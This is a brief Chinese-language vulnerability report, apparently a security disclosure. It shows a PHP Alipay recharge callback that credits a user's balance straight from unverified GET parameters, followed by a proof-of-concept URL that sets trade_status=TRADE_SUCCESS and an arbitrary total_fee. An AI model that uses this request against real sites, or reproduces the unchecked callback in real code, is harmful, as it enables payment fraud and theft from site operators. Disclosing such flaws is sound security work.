### 简要描述:
系统未检查传入参数的有效性
### 详细说明:
```
function onaliapyback() {
if ($_GET['trade_status' ] == 'TRADE_SUCCESS') {
$credit2 = $_GET[ 'total_fee'] * $this->setting['recharge_rate' ];
$this->credit($this-> user['uid' ], 0, $credit2, 0, "支付宝充值");
$this->message( "充值成功" , "user/score" );
} else {
$this->message( "服务器繁忙,请稍后再试!" , 'STOP' );
}
}
```
直接传入total_fee既可
### 漏洞证明:
/?ebank/aliapyback.html&trade_status=TRADE_SUCCESS&total_fee=99
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